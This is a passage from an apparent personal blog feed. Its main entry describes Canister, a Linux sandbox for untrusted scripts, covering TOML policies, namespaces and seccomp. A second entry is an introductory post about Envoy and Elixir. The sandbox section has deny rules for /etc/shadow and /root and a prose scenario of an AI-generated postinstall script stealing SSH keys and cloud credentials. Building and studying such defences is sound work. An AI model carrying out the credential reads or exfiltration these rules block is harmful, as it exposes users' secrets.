&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allow &lt;&#x2F;span&gt;&lt;span&gt;= [&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;usr&#x2F;lib&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;usr&#x2F;bin&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;lib&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;tmp&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;deny  &lt;&#x2F;span&gt;&lt;span&gt;= [&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;etc&#x2F;shadow&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;root&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[network]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;deny_all &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;true
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[process]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;max_pids &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;32
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allow_execve &lt;&#x2F;span&gt;&lt;span&gt;= [&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;usr&#x2F;bin&#x2F;python3&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;env_passthrough &lt;&#x2F;span&gt;&lt;span&gt;= [&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;PATH&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;LANG&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ can run -r my-analysis.toml -- python3 analyze.py
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The script cannot read &lt;code&gt;~&#x2F;.aws&#x2F;credentials&lt;&#x2F;code&gt; because the home directory is not mounted. It cannot phone home because the network is disabled. It cannot shell out to &lt;code&gt;curl&lt;&#x2F;code&gt; because &lt;code&gt;curl&lt;&#x2F;code&gt; is not in &lt;code&gt;allow_execve&lt;&#x2F;code&gt;. If it tries any of this, it fails – loudly.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;a-concrete-node-js-example&quot;&gt;A concrete Node.js example&lt;&#x2F;h3&gt;
&lt;p&gt;Running &lt;code&gt;npm install&lt;&#x2F;code&gt; in an untrusted project:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ can run -r node-build -- npm install
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;node-build&lt;&#x2F;code&gt; recipe whitelists &lt;code&gt;registry.npmjs.org&lt;&#x2F;code&gt; and a few CDN domains. The sandbox allows &lt;code&gt;node&lt;&#x2F;code&gt;, &lt;code&gt;npm&lt;&#x2F;code&gt;, and &lt;code&gt;npx&lt;&#x2F;code&gt; to execute. Postinstall scripts that try to reach arbitrary URLs, read your SSH keys, or exec unexpected binaries get blocked.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;recipe-composition&quot;&gt;Recipe composition&lt;&#x2F;h3&gt;
&lt;p&gt;One design choice I find interesting is recipe composition. Canister auto-detects your package manager – if the binary lives under &lt;code&gt;&#x2F;nix&#x2F;store&lt;&#x2F;code&gt;, the Nix recipe is composed automatically, same for Homebrew, Cargo, Snap, and Flatpak. You can also layer recipes explicitly:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ can run -r nix -r elixir -- mix test
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Multiple &lt;code&gt;-r&lt;&#x2F;code&gt; flags are merged left-to-right: union on allow-lists, strictest-wins on deny policies. The goal is that adding support for a new package manager is “write a TOML file” rather than “modify Rust code.”&lt;&#x2F;p&gt;
&lt;h2 id=&quot;under-the-hood&quot;&gt;Under the hood&lt;&#x2F;h2&gt;
&lt;p&gt;Canister stacks several Linux isolation mechanisms:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;User namespaces&lt;&#x2F;strong&gt; – the sandboxed process maps to UID 0 inside but has no real host privileges.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Mount namespace + pivot_root&lt;&#x2F;strong&gt; – ephemeral tmpfs root, only explicitly allowed paths bind-mounted read-only.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PID namespace&lt;&#x2F;strong&gt; – the sandbox cannot see or signal host processes.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Network namespace + pasta&lt;&#x2F;strong&gt; – in filtered mode, only pre-resolved whitelisted domains are reachable. Port forwarding (&lt;code&gt;-p 8080:80&lt;&#x2F;code&gt;) lets you expose specific sandbox ports on the host.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Seccomp BPF&lt;&#x2F;strong&gt; – default-deny syscall filter. ~170 syscalls allowed; everything else returns EPERM (or KILL_PROCESS in strict mode).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Seccomp USER_NOTIF supervisor&lt;&#x2F;strong&gt; – intercepts &lt;code&gt;connect()&lt;&#x2F;code&gt;, &lt;code&gt;clone()&lt;&#x2F;code&gt;, &lt;code&gt;socket()&lt;&#x2F;code&gt;, and &lt;code&gt;execve()&lt;&#x2F;code&gt; to enforce argument-level policies from the parent process.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Cgroups v2&lt;&#x2F;strong&gt; – optional memory and CPU limits.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&#x2F;proc hardening&lt;&#x2F;strong&gt; – sensitive paths masked, &lt;code&gt;&#x2F;proc&#x2F;sys&lt;&#x2F;code&gt; read-only.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;The design philosophy is fail-closed: if isolation cannot be established, the sandbox refuses to start. There are only two operational modes – normal (denied syscalls return EPERM) and strict (&lt;code&gt;--strict&lt;&#x2F;code&gt;, denied syscalls kill the process immediately). No silent degradation, no halfway states.&lt;&#x2F;p&gt;
&lt;p&gt;None of this is novel individually – these are well-known Linux primitives. The interesting part (to me) is the composition: combining them behind a simple CLI with TOML-based policies that are easy to read and share.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-attack-scenario&quot;&gt;An attack scenario&lt;&#x2F;h2&gt;
&lt;p&gt;To make this more concrete: say you’re using an AI coding assistant and it generates a build script for your project. The script includes a postinstall step that downloads a “build tool” binary from a URL the AI hallucinated or was prompt-injected into producing.&lt;&#x2F;p&gt;
&lt;p&gt;Without a sandbox: the script runs, downloads the binary, executes it. The binary reads your &lt;code&gt;~&#x2F;.gitconfig&lt;&#x2F;code&gt; for your name and email, scans for SSH and GPG keys, grabs cloud credentials, and POSTs everything to an external server. You notice nothing. The build succeeds.&lt;&#x2F;p&gt;
&lt;p&gt;With Canister: the script starts, tries to connect to the download URL – blocked, not in the domain whitelist. Tries to read &lt;code&gt;~&#x2F;.gitconfig&lt;&#x2F;code&gt; – path not mounted. Tries to exec the downloaded binary – blocked by &lt;code&gt;allow_execve&lt;&#x2F;code&gt;. The sandbox logs every denied operation.&lt;&#x2F;p&gt;
&lt;p&gt;There is also a monitor mode that lets you observe what would be blocked without actually enforcing anything, which is useful for iterating on a recipe:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ can run --monitor -r node-build -- npm run build
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;open-questions&quot;&gt;Open questions&lt;&#x2F;h2&gt;
&lt;p&gt;This is still early. Some things I’m actively thinking about:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usability vs. security tradeoff.&lt;&#x2F;strong&gt; The more locked down the default policy, the more often legitimate scripts break. Finding the right baseline is harder than it sounds.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Recipe ecosystem.&lt;&#x2F;strong&gt; The value of composable recipes depends on whether people actually contribute and maintain them. &lt;code&gt;can init&lt;&#x2F;code&gt; pulls community recipes from GitHub, but that is only useful if the recipes stay current.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;macOS.&lt;&#x2F;strong&gt; Canister is Linux-only because it relies on user namespaces and seccomp. I do not have a good answer for macOS yet.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Integration with AI tools.&lt;&#x2F;strong&gt; The natural next step would be AI coding assistants automatically running generated code inside a sandbox. That requires some cooperation from the tool side.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;If any of this is interesting to you, the code is at &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&quot;&gt;github.com&#x2F;dergraf&#x2F;canister&lt;&#x2F;a&gt;. It is Apache-2.0 licensed. Issues and ideas welcome.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;editorial&quot;&gt;Editorial&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;em&gt;Updated 2026-04-12.&lt;&#x2F;em&gt; Since the original post, the networking stack and security model have changed substantially:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Replaced slirp4netns with pasta.&lt;&#x2F;strong&gt; The original post described slirp4netns as the network backend. Canister now uses &lt;a href=&quot;https:&#x2F;&#x2F;passt.top&#x2F;&quot;&gt;pasta&lt;&#x2F;a&gt; (from the passt project) exclusively. pasta mirrors the host’s real IP configuration into the sandbox namespace instead of using a synthetic 10.0.2.x subnet, and is the default backend for Podman and rootless Docker.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Removed degraded mode.&lt;&#x2F;strong&gt; The original post mentioned &lt;code&gt;--allow-degraded&lt;&#x2F;code&gt;. This has been removed entirely. Canister now has exactly two modes: normal (SECCOMP_RET_ERRNO) and strict (SECCOMP_RET_KILL_PROCESS). All setup failures are fatal in both modes – the sandbox runs at full strength or not at all.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>First notes: experiments, control planes, and a bit of AI</title>
        <published>2026-04-03T00:00:00+00:00</published>
        <updated>2026-04-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.dergraf.org/notes/first/"/>
        <id>https://www.dergraf.org/notes/first/</id>
        
        <content type="html" xml:base="https://www.dergraf.org/notes/first/">&lt;p&gt;This is the first post on this small site.&lt;&#x2F;p&gt;
&lt;p&gt;The goal here is simple: to share some of the things I’m currently building, exploring, and occasionally struggling with. Most of my work these days revolves around &lt;strong&gt;Envoy Proxy&lt;&#x2F;strong&gt;, control planes, and the question of how we can make complex systems easier to reason about and operate.&lt;&#x2F;p&gt;
&lt;p&gt;Lately, that exploration has started to include &lt;strong&gt;AI and LLMs&lt;&#x2F;strong&gt;—not as a buzzword, but as a practical tool. I’m particularly interested in how they can improve developer workflows, especially in areas like:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;configuration generation&lt;&#x2F;li&gt;
&lt;li&gt;debugging distributed systems&lt;&#x2F;li&gt;
&lt;li&gt;working with spec-driven infrastructure&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;a-note-on-tools-and-languages&quot;&gt;A note on tools and languages&lt;&#x2F;h2&gt;
&lt;p&gt;Most of my work is rooted in &lt;strong&gt;functional programming&lt;&#x2F;strong&gt;, especially &lt;strong&gt;Elixir&lt;&#x2F;strong&gt; and &lt;strong&gt;Erlang&#x2F;OTP&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve been using these languages for more than a decade, and they’ve shaped how I think about systems: concurrency, fault tolerance, and building things that keep working under pressure.&lt;&#x2F;p&gt;
&lt;p&gt;Even now, with LLMs capable of generating code in almost any language, I still find these ecosystems particularly relevant.&lt;&#x2F;p&gt;
&lt;p&gt;If anything, the rise of AI makes &lt;strong&gt;good abstractions more important, not less&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;When code can be generated at high speed, the limiting factor becomes:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;how well we can understand, validate, and operate what was generated.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Languages and platforms that provide &lt;strong&gt;clear, high-level abstractions&lt;&#x2F;strong&gt; make it much easier for a human to stay in the loop and reason about the system as a whole.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;what-this-site-is-and-isn-t&quot;&gt;What this site is (and isn’t)&lt;&#x2F;h2&gt;
&lt;p&gt;This isn’t meant to be a polished blog or a product showcase.&lt;&#x2F;p&gt;
&lt;p&gt;It’s more of a place to:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;write down small ideas&lt;&#x2F;li&gt;
&lt;li&gt;document experiments&lt;&#x2F;li&gt;
&lt;li&gt;connect dots between different areas (APIs, control planes, AI, developer tooling)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Some posts will be rough. Some ideas might not go anywhere. That’s part of the process.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;a-small-experiment-in-writing&quot;&gt;A small experiment in writing&lt;&#x2F;h2&gt;
&lt;p&gt;This post itself is part of an experiment.&lt;&#x2F;p&gt;
&lt;p&gt;English isn’t my native language, but I still want to share ideas in a way that’s accessible. So I’m trying a workflow where I:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;capture thoughts using audio&lt;&#x2F;li&gt;
&lt;li&gt;convert them to text&lt;&#x2F;li&gt;
&lt;li&gt;use AI to refine and structure them&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The result is something that hopefully still reflects my thinking, just expressed more clearly.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;what-s-next&quot;&gt;What’s next&lt;&#x2F;h2&gt;
&lt;p&gt;If you’re interested in:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Envoy and control planes&lt;&#x2F;li&gt;
&lt;li&gt;spec-driven infrastructure&lt;&#x2F;li&gt;
&lt;li&gt;AI in real-world engineering workflows&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;…you’ll probably find something useful here over time.&lt;&#x2F;p&gt;
&lt;p&gt;And if you have thoughts, feedback, or want to compare notes—feel free to reach out.&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
